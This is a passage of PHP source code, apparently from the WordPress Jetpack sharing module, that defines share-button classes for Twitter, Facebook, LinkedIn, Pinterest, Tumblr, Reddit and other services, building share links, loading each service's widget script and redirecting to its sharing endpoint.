$current_user->display_name ); ?>" /> <input type="hidden" name="source_email" value="<?php echo esc_attr( $current_user->user_email ); ?>" /> <?php else : ?> <label for="source_name"><?php _e( 'Your Name', 'jetpack' ) ?></label> <input type="text" name="source_name" id="source_name" value="" /> <label for="source_email"><?php _e( 'Your Email Address', 'jetpack' ) ?></label> <input type="text" name="source_email" id="source_email" value="" /> <?php endif; ?> <?php do_action( 'sharing_email_dialog', 'jetpack' ); ?> <img style="float: right; display: none" class="loading" src="<?php echo apply_filters( 'jetpack_static_url', plugin_dir_url( __FILE__ ) . 'images/loading.gif' ); ?>" alt="loading" width="16" height="16" /> <input type="submit" value="<?php _e( 'Send Email', 'jetpack' ); ?>" class="sharing_send" /> <a href="#cancel" class="sharing_cancel"><?php _e( 'Cancel', 'jetpack' ); ?></a> <div class="errors errors-1" style="display: none;"> <?php _e( 'Post was not sent - check your email addresses!', 'jetpack' ); ?> </div> <div class="errors errors-2" style="display: none;"> <?php _e( 'Email check failed, please try again', 'jetpack' ); ?> </div> <div class="errors errors-3" style="display: none;"> <?php _e( 'Sorry, your blog cannot share posts by email.', 'jetpack' ); ?> </div> </form> </div> <?php } } class Share_Twitter extends Sharing_Source { var $shortname = 'twitter'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Twitter', 'jetpack' ); } function sharing_twitter_via( $post ) { // Allow themes to customize the via return apply_filters( 'jetpack_sharing_twitter_via', '', $post->ID ); } public function get_related_accounts( $post ) { // Format is 'username' => 'Optional description' $related_accounts = apply_filters( 'jetpack_sharing_twitter_related', array(), $post->ID ); // Example related string: account1,account2:Account 2 description,account3 $related = array(); foreach ( $related_accounts as $related_account_username => $related_account_description ) { // Join the description onto the end of the username if ( $related_account_description ) $related_account_username .= ':' . $related_account_description; $related[] = $related_account_username; } return implode( ',', $related ); } public function get_display( $post ) { $via = $this->sharing_twitter_via( $post ); if ( $via ) { $via = '&via=' . rawurlencode( $via ); $related = $this->get_related_accounts( $post ); if ( ! empty( $related ) && $related !== $via ) $via .= '&related=' . rawurlencode( $related ); } else { $via = ''; } $share_url = $this->get_share_url( $post->ID ); if ( $this->smart ) { return '<div class="twitter_button"><iframe allowtransparency="true" frameborder="0" scrolling="no" src="' . esc_url( 'http://platform.twitter.com/widgets/tweet_button.html?url=' . rawurlencode( $share_url ) . '&counturl=' . rawurlencode( str_replace( 'https://', 'http://', get_permalink( $post->ID ) ) ) . '&count=horizontal&text=' . rawurlencode( $post->post_title . ':' ) . $via ) . '" style="width:101px; height:20px;"></iframe></div>'; } else { if ( 'icon-text' == $this->button_style || 'text' == $this->button_style ) sharing_register_post_for_share_counts( $post->ID ); return $this->get_link( get_permalink( $post->ID ), _x( 'Twitter', 'share to', 'jetpack' ), __( 'Click to share on Twitter', 'jetpack' ), 'share=twitter', 'sharing-twitter-' . $post->ID ); } } public function process_request( $post, array $post_data ) { $post_title = $post->post_title; $post_link = $this->get_share_url( $post->ID ); if ( function_exists( 'mb_stripos' ) ) { $strlen = 'mb_strlen'; $substr = 'mb_substr'; } else { $strlen = 'strlen'; $substr = 'substr'; } $via = $this->sharing_twitter_via( $post ); if ( $via ) { $related = $this->get_related_accounts( $post ); if ( $related === $via ) $related = false; $sig = " via @$via"; } else { $via = false; $related = false; $sig = ''; } $suffix_length = $strlen( " {$post_link}{$sig}" ); // $sig is handled by twitter in their 'via' argument. // $post_link is handled by twitter in their 'url' argument. if ( 140 < $strlen( $post_title ) + $suffix_length ) { // The -1 is for "\xE2\x80\xA6", a UTF-8 ellipsis. $text = $substr( $post_title, 0, 140 - $suffix_length - 1 ) . "\xE2\x80\xA6"; } else { $text = $post_title; } // Record stats parent::process_request( $post, $post_data ); $url = $post_link; $twitter_url = add_query_arg( urlencode_deep( array_filter( compact( 'via', 'related', 'text', 'url' ) ) ), sprintf( '%s://twitter.com/intent/tweet', ( is_ssl() ? 'https' : 'http' ) ) ); // Redirect to Twitter wp_redirect( $twitter_url ); die(); } public function has_custom_button_style() { return $this->smart; } public function display_footer() { $this->js_dialog( $this->shortname, array( 'height' => 350 ) ); } } class Share_Stumbleupon extends Sharing_Source { var $shortname = 'stumbleupon'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'StumbleUpon', 'jetpack' ); } public function has_custom_button_style() { return $this->smart; } public function get_display( $post ) { if ( $this->smart ) return '<div class="stumbleupon_button"><iframe src="http://www.stumbleupon.com/badge/embed/1/?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ) . '" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:74px; height: 18px;" allowTransparency="true"></iframe></div>'; else return $this->get_link( get_permalink( $post->ID ), _x( 'StumbleUpon', 'share to', 'jetpack' ), __( 'Click to share on StumbleUpon', 'jetpack' ), 'share=stumbleupon' ); } public function process_request( $post, array $post_data ) { $stumbleupon_url = 'http://www.stumbleupon.com/submit?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Stumbleupon wp_redirect( $stumbleupon_url ); die(); } } class Share_Reddit extends Sharing_Source { var $shortname = 'reddit'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Reddit', 'jetpack' ); } public function get_display( $post ) { if ( $this->smart ) return '<div class="reddit_button"><iframe src="http://www.reddit.com/static/button/button1.html?width=120&url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ) . '" height="22" width="120" scrolling="no" frameborder="0"></iframe></div>'; else return $this->get_link( get_permalink( $post->ID ), __( 'Reddit', 'share to', 'jetpack' ), __( 'Click to share on Reddit', 'jetpack' ), 'share=reddit' ); } public function process_request( $post, array $post_data ) { $reddit_url = 'http://reddit.com/submit?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Reddit wp_redirect( $reddit_url ); die(); } } class Share_Digg extends Sharing_Source { var $shortname = 'digg'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Digg', 'jetpack' ); } public function has_custom_button_style() { return $this->smart; } public function get_display( $post ) { if ( $this->smart ) { $url = $this->get_link( 'http://digg.com/submit?url='. rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ), 'Digg', __( 'Click to Digg this post', 'jetpack' ) ); return '<div class="digg_button">' . str_replace( 'class="', 'class="DiggThisButton DiggCompact ', $url ) . '</div>'; } else { return $this->get_link( get_permalink( $post->ID ), _x( 'Digg', 'share to', 'jetpack' ), __( 'Click to Digg this post', 'jetpack' ), 'share=digg' ); } } public function process_request( $post, array $post_data ) { $digg_url = 'http://digg.com/submit?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&title=' . rawurlencode( $post->post_title ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Digg wp_redirect( $digg_url ); die(); } public function display_header() { if ( $this->smart ) { ?> <script type="text/javascript"> (function() { var s = document.createElement('SCRIPT'), s1 = document.getElementsByTagName('SCRIPT')[0]; s.type = 'text/javascript'; s.async = true; s.src = 'http://widgets.digg.com/buttons.js'; s1.parentNode.insertBefore(s, s1); })(); </script> <?php } } } class Share_LinkedIn extends Sharing_Source { var $shortname = 'linkedin'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'LinkedIn', 'jetpack' ); } public function has_custom_button_style() { return $this->smart; } public function get_display( $post ) { $share_url = $this->get_share_url( $post->ID ); $display = ''; if ( $this->smart ) $display .= sprintf( '<div class="linkedin_button"><script type="in/share" data-url="%s" data-counter="right"></script></div>', esc_url( $share_url ) ); else $display = $this->get_link( get_permalink( $post->ID ), _x( 'LinkedIn', 'share to', 'jetpack' ), __( 'Click to share on LinkedIn', 'jetpack' ), 'share=linkedin', 'sharing-linkedin-' . $post->ID ); if ( 'icon-text' == $this->button_style || 'text' == $this->button_style ) sharing_register_post_for_share_counts( $post->ID ); return $display; } public function process_request( $post, array $post_data ) { setup_postdata( $post ); $post_link = $this->get_share_url( $post->ID ); // http://www.linkedin.com/shareArticle?mini=true&url={articleUrl}&title={articleTitle}&summary={articleSummary}&source={articleSource} $encoded_title = rawurlencode( $post->post_title ); if( strlen( $encoded_title ) > 200 ) $encoded_title = substr( $encoded_title, 0, 197 ) . '...'; $encoded_summary = rawurlencode( strip_tags( get_the_excerpt() ) ); if( strlen( $encoded_summary ) > 256 ) $encoded_summary = substr( $encoded_summary, 0, 253 ) . '...'; $source = get_bloginfo( 'name' ); $linkedin_url = add_query_arg( array( 'title' => $encoded_title, 'url' => rawurlencode( $post_link ), 'source' => rawurlencode( $source ), 'summary' => $encoded_summary, ), 'http://www.linkedin.com/shareArticle?mini=true' ); // Record stats parent::process_request( $post, $post_data ); // Redirect to LinkedIn wp_redirect( $linkedin_url ); die(); } public function display_footer() { if ( !$this->smart ) $this->js_dialog( $this->shortname, array( 'width' => 580, 'height' => 450 ) ); else echo '<script type="text/javascript" src="//platform.linkedin.com/in.js"></script>'; } } class Share_Facebook extends Sharing_Source { var $shortname = 'facebook'; private $share_type = 'default'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( isset( $settings['share_type'] ) ) $this->share_type = $settings['share_type']; if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Facebook', 'jetpack' ); } public function display_header() { } function guess_locale_from_lang( $lang ) { if ( 'en' == $lang || 'en_US' == $lang || !$lang ) { return 'en_US'; } if ( !class_exists( 'GP_Locales' ) ) { if ( !defined( 'JETPACK__GLOTPRESS_LOCALES_PATH' ) || !file_exists( JETPACK__GLOTPRESS_LOCALES_PATH ) ) { return false; } require JETPACK__GLOTPRESS_LOCALES_PATH; } if ( defined( 'IS_WPCOM' ) && IS_WPCOM ) { // WP.com: get_locale() returns 'it' $locale = GP_Locales::by_slug( $lang ); } else { // Jetpack: get_locale() returns 'it_IT'; $locale = GP_Locales::by_field( 'wp_locale', $lang ); } if ( !$locale || empty( $locale->facebook_locale ) ) { return false; } return $locale->facebook_locale; } public function get_display( $post ) { $share_url = $this->get_share_url( $post->ID ); if ( $this->smart ) { $url = 'http://www.facebook.com/plugins/like.php?href=' . rawurlencode( $share_url ) . '&layout=button_count&show_faces=false&action=like&colorscheme=light&height=21'; // Default widths to suit English $inner_w = 90; // Locale-specific widths/overrides $widths = array( 'bg_BG' => 120, 'de_DE' => 100, 'da_DK' => 120, 'es_ES' => 110, 'es_LA' => 110, 'fi_FI' => 100, 'it_IT' => 100, 'ja_JP' => 100, 'ru_RU' => 128, ); $widths = apply_filters( 'sharing_facebook_like_widths', $widths ); $locale = $this->guess_locale_from_lang( get_locale() ); if ( $locale ) { if ( 'en_US' != $locale ) { $url .= '&locale=' . $locale; } if ( isset( $widths[$locale] ) ) { $inner_w = $widths[$locale]; } } $url .= '&width='.$inner_w; return '<div class="like_button"><iframe src="'.$url.'" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:'.( $inner_w + 6 ).'px; height:21px;" allowTransparency="true"></iframe></div>'; } if ( 'icon-text' == $this->button_style || 'text' == $this->button_style ) sharing_register_post_for_share_counts( $post->ID ); return $this->get_link( get_permalink( $post->ID ), _x( 'Facebook', 'share to', 'jetpack' ), __( 'Share on Facebook', 'jetpack' ), 'share=facebook', 'sharing-facebook-' . $post->ID ); } public function process_request( $post, array $post_data ) { $fb_url = 'http://www.facebook.com/sharer.php?u=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&t=' . rawurlencode( $post->post_title ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Facebook wp_redirect( $fb_url ); die(); } public function display_footer() { $this->js_dialog( $this->shortname ); } } class Share_Print extends Sharing_Source { var $shortname = 'print'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Print', 'jetpack' ); } public function get_display( $post ) { return $this->get_link( get_permalink( $post->ID ) . ( ( is_single() || is_page() ) ? '#print': '' ), _x( 'Print', 'share to', 'jetpack' ), __( 'Click to print', 'jetpack' ) ); } } class Share_PressThis extends Sharing_Source { var $shortname = 'pressthis'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Press This', 'jetpack' ); } public function process_request( $post, array $post_data ) { global $current_user; $blogs = get_blogs_of_user( $current_user->ID ); if ( empty( $blogs ) ) { wp_safe_redirect( get_permalink( $post->ID ) ); die(); } $blog = current( $blogs ); $url = $blog->siteurl.'/wp-admin/press-this.php?u='.rawurlencode( $this->get_share_url( $post->ID ) ).'&t='.rawurlencode( $post->post_title ).'&v=4'; if ( isset( $_GET['sel'] ) ) $url .= '&s='.rawurlencode( $_GET['sel'] ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Press This wp_safe_redirect( $url ); die(); } public function get_display( $post ) { return $this->get_link( get_permalink( $post->ID ), _x( 'Press This', 'share to', 'jetpack' ), __( 'Click to Press This!', 'jetpack' ), 'share=press-this' ); } } class Share_GooglePlus1 extends Sharing_Source { var $shortname = 'googleplus1'; private $state = false; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Google +1', 'jetpack' ); } public function get_display( $post ) { // Smart or not, return the G+ button return '<div class="googleplus1_button"><g:plusone size="medium" callback="sharing_plusone" href="' . esc_url( $this->get_share_url( $post->ID ) ) . '"></g:plusone></div>'; } public function display_preview() { ?> <div class="option option-smart-on"> <a href="javascript:void(0);return false;" class="share-<?php echo $this->shortname; ?>"> <span></span> </a> </div><?php } public function get_state() { return $this->state; } public function process_request( $post, array $post_data ) { if ( isset( $post_data['state'] ) ) { $this->state = $post_data['state']; } // Record stats parent::process_request( $post, $post_data ); die(); } public function display_footer() { global $post; ?> <script type="text/javascript" charset="utf-8"> function sharing_plusone( obj ) { jQuery.ajax( { url: '<?php echo get_permalink( $post->ID ) . '?share=google-plus-1'; ?>', type: 'POST', data: obj } ); } </script> <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script> <?php } public function get_total( $post = false ) { global $wpdb, $blog_id; $name = strtolower( $this->get_id() ); if ( $post == false ) { // get total number of shares for service return $wpdb->get_var( $wpdb->prepare( "SELECT SUM( count ) FROM sharing_stats WHERE blog_id = %d AND share_service = %s", $blog_id, $name ) ); } //get total shares for a post return $wpdb->get_var( $wpdb->prepare( "SELECT count FROM sharing_stats WHERE blog_id = %d AND post_id = %d AND share_service = %s", $blog_id, $post->ID, $name ) ); } } class Share_Custom extends Sharing_Advanced_Source { private $name; private $icon; private $url; public $smart = true; var $shortname; public function get_class() { return 'custom'; } public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); $opts = $this->get_options(); if ( isset( $settings['name'] ) ) { $this->name = $settings['name']; $this->shortname = preg_replace( '/[^a-z0-9]*/', '', $settings['name'] ); } if ( isset( $settings['icon'] ) ) $this->icon = $settings['icon']; if ( isset( $settings['url'] ) ) $this->url = $settings['url']; } public function get_name() { return $this->name; } public function get_display( $post ) { $str = $this->get_link( get_permalink( $post->ID ), esc_html( $this->name ), __( 'Click to share', 'jetpack' ), 'share='.$this->id ); return str_replace( '<span>', '<span style="background-image:url(' . esc_url( $this->icon ) . ');">', $str ); } public function process_request( $post, array $post_data ) { $url = str_replace( '&', '&', $this->url ); $url = str_replace( '%post_url%', rawurlencode( $this->get_share_url( $post->ID ) ), $url ); $url = str_replace( '%post_full_url%', rawurlencode( get_permalink( $post->ID ) ), $url ); $url = str_replace( '%post_title%', rawurlencode( $post->post_title ), $url ); if ( strpos( $url, '%post_tags%' ) !== false ) { $tags = get_the_tags( $post->ID ); $tagged = ''; if ( $tags ) { foreach ( $tags AS $tag ) { $tagged[] = rawurlencode( $tag->name ); } $tagged = implode( ',', $tagged ); } $url = str_replace( '%post_tags%', $tagged, $url ); } if ( strpos( $url, '%post_excerpt%' ) !== false ) { $url_excerpt = $post->post_excerpt; if ( empty( $url_excerpt ) ) $url_excerpt = $post->post_content; $url_excerpt = strip_tags( strip_shortcodes( $url_excerpt ) ); $url_excerpt = wp_html_excerpt( $url_excerpt, 100 ); $url_excerpt = rtrim( preg_replace( '/[^ .]*$/', '', $url_excerpt ) ); $url = str_replace( '%post_excerpt%', rawurlencode( $url_excerpt ), $url ); } // Record stats parent::process_request( $post, $post_data ); // Redirect wp_redirect( $url ); die(); } public function display_options() { ?> <div class="input"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php _e( 'Label', 'jetpack' ); ?></th> <td><input type="text" name="name" value="<?php echo esc_attr( $this->name ); ?>" /></td> </tr> <tr> <th scope="row"><?php _e( 'URL', 'jetpack' ); ?></th> <td><input type="text" name="url" value="<?php echo esc_attr( $this->url ); ?>" /></td> </tr> <tr> <th scope="row"><?php _e( 'Icon', 'jetpack' ); ?></th> <td><input type="text" name="icon" value="<?php echo esc_attr( $this->icon ); ?>" /></td> </tr> <tr> <th scope="row"></th> <td> <input class="button-secondary" type="submit" value="<?php _e( 'Save', 'jetpack' ); ?>" /> <a href="#" class="remove"><small><?php _e( 'Remove Service', 'jetpack' ); ?></small></a> </td> </tr> </tbody> </table> </div> <?php } public function update_options( array $data ) { $name = trim( wp_html_excerpt( wp_kses( stripslashes( $data['name'] ), array() ), 30 ) ); $url = trim( esc_url_raw( $data['url'] ) ); $icon = trim( esc_url_raw( $data['icon'] ) ); if ( $name ) $this->name = $name; if ( $url ) $this->url = $url; if ( $icon ) $this->icon = $icon; } public function get_options() { return array( 'name' => $this->name, 'icon' => $this->icon, 'url' => $this->url, ); } public function display_preview() { $opts = $this->get_options(); $text = ' '; if ( !$this->smart ) if ( $this->button_style != 'icon' ) $text = $this->get_name(); $klasses = array( 'share-'.$this->shortname ); if ( $this->button_style == 'icon' || $this->button_style == 'icon-text' ) $klasses[] = 'share-icon'; if ( $this->button_style == 'icon' ) { $text = ''; $klasses[] = 'no-text'; } if ( $this->button_style == 'text' ) $klasses[] = 'no-icon'; $link = sprintf( '<a rel="nofollow" class="%s" href="javascript:void(0);return false;" title="%s"><span style="background-image:url(%s) !important;background-position:left center;background-repeat:no-repeat;">%s</span></a>', implode( ' ', $klasses ), $this->get_name(), esc_url( $opts['icon'] ), $text ); ?> <div class="option option-smart-off"> <?php echo $link ; ?> </div><?php } } class Share_Tumblr extends Sharing_Source { var $shortname = 'tumblr'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Tumblr', 'jetpack' ); } public function get_display( $post ) { if ( $this->smart ) return '<a href="http://www.tumblr.com/share/link/?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&name=' . rawurlencode( $post->post_title ) . '" title="Share on Tumblr" style="display:inline-block; text-indent:-9999px; overflow:hidden; width:62px; height:20px; background:url(\'http://platform.tumblr.com/v1/share_2.png\') top left no-repeat transparent;">Share on Tumblr</a>'; else return $this->get_link( get_permalink( $post->ID ), _x( 'Tumblr', 'share to', 'jetpack' ), __( 'Click to share on Tumblr', 'jetpack' ), 'share=tumblr' ); } public function process_request( $post, array $post_data ) { // Record stats parent::process_request( $post, $post_data ); // Redirect to Tumblr's sharing endpoint (a la their bookmarklet) $url = 'http://www.tumblr.com/share?v=3&u=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&t=' . rawurlencode( $post->post_title ) . '&s='; wp_redirect( $url ); die(); } // http://www.tumblr.com/share?v=3&u=URL&t=TITLE&s= public function display_footer() { if ( $this->smart ) { ?><script type="text/javascript" src="http://platform.tumblr.com/v1/share.js"></script><?php } else { $this->js_dialog( $this->shortname, array( 'width' => 450, 'height' => 450 ) ); } } } class Share_Pinterest extends Sharing_Source { var $shortname = 'pinterest'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Pinterest', 'jetpack' ); } public function get_post_image( $content ) { $image = ''; if ( function_exists('has_post_thumbnail') && has_post_thumbnail() ) { $thumb_id = get_post_thumbnail_id(); $thumb = wp_get_attachment_image_src( $thumb_id ); $image = remove_query_arg( array('w', 'h'), $thumb[0] ); } else if ( preg_match_all('/<img (.+?)>/', $content, $matches) ) { foreach ( $matches[1] as $attrs ) { $media = $img = array(); foreach ( wp_kses_hair( $attrs, array( 'http', 'https' ) ) as $attr ) $img[$attr['name']] = $attr['value']; if ( !isset( $img['src'] ) || 0 !== strpos( $img['src'], 'http' ) ) { continue; } else { $image = $img['src']; break; } } } return $image; } public function get_display( $post ) { if ( $this->smart ) return '<div class="pinterest_button"><a href="' . esc_url( 'http://pinterest.com/pin/create/button/?url='. rawurlencode( $this->get_share_url( $post->ID ) ) . '&description=' . rawurlencode( $post->post_title ) . '&media=' . rawurlencode( esc_url_raw( $this->get_post_image( $post->post_content ) ) ) ) . '" class="pin-it-button" count-layout="horizontal"> '. __( 'Pin It', 'jetpack') .'</a></div>'; else return $this->get_link( get_permalink( $post->ID ), _x( 'Pinterest', 'share to', 'jetpack' ), __( 'Click to share on Pinterest', 'jetpack' ), 'share=pinterest' ); } public function process_request( $post, array $post_data ) { $pinterest_url = esc_url_raw( 'http://pinterest.com/pin/create/button/?url=' . rawurlencode( $this->get_share_url( $post->ID ) ) . '&description=' . rawurlencode( $post->post_title ) . '&media=' . rawurlencode( esc_url_raw( $this->get_post_image( $post->post_content ) ) ) ); // Record stats parent::process_request( $post, $post_data ); // Redirect to Pinterest wp_redirect( $pinterest_url ); die(); } public function display_footer() { if ( !$this->smart ) { $this->js_dialog( $this->shortname, array( 'width' => 650, 'height' => 280 ) ); } else { ?> <script type="text/javascript"> function pinterest_async_load() { var s = document.createElement("script"); s.type = "text/javascript"; s.async = true; s.src = window.location.protocol + "//assets.pinterest.com/js/pinit.js"; var x = document.getElementsByTagName("script")[0]; x.parentNode.insertBefore(s, x); } jQuery(document).on('ready post-load', function() { pinterest_async_load(); }); </script> <?php } } }